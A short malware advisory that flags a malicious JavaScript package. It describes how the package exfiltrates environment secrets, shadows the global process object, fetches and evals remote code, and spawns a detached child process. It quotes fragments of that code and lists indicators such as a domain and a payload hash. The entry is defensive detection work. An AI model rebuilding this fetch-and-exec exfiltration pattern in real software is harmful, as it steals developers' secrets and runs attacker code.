GCVE-110-OSM-2026-5810

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Entrypoint: src/index.js (main: ./src/index.js) Payload: src/utils/swap.js Key findings: - Environment Variable Exfiltration in src/utils/swap.js: "process.env.DEV_SECRET_KEY; const v = process.env.DEV_SECRET_VALUE; let ..." - Global Variable Shadowing in src/utils/swap.js: "const process = {" - Fetch and Eval/Exec in src/utils/swap.js: "axios.get(src, { headers: { [k]: v } })).data.config; const handler = new..." - Shell Command Execution in src/index.js: "require("child_process")" - Detached Child Process Payload in src/index.js: "spawn('node', [script, JSON.stringify(firstArg)], { detached: true" IOCs: - urls: https://www.lazutkin.com/ - domains: www.lazutkin.com - payloadFileHash: e985d5998e9ef8a84638f0b294bd8d9d239ed275760ac20b4713efc3badab450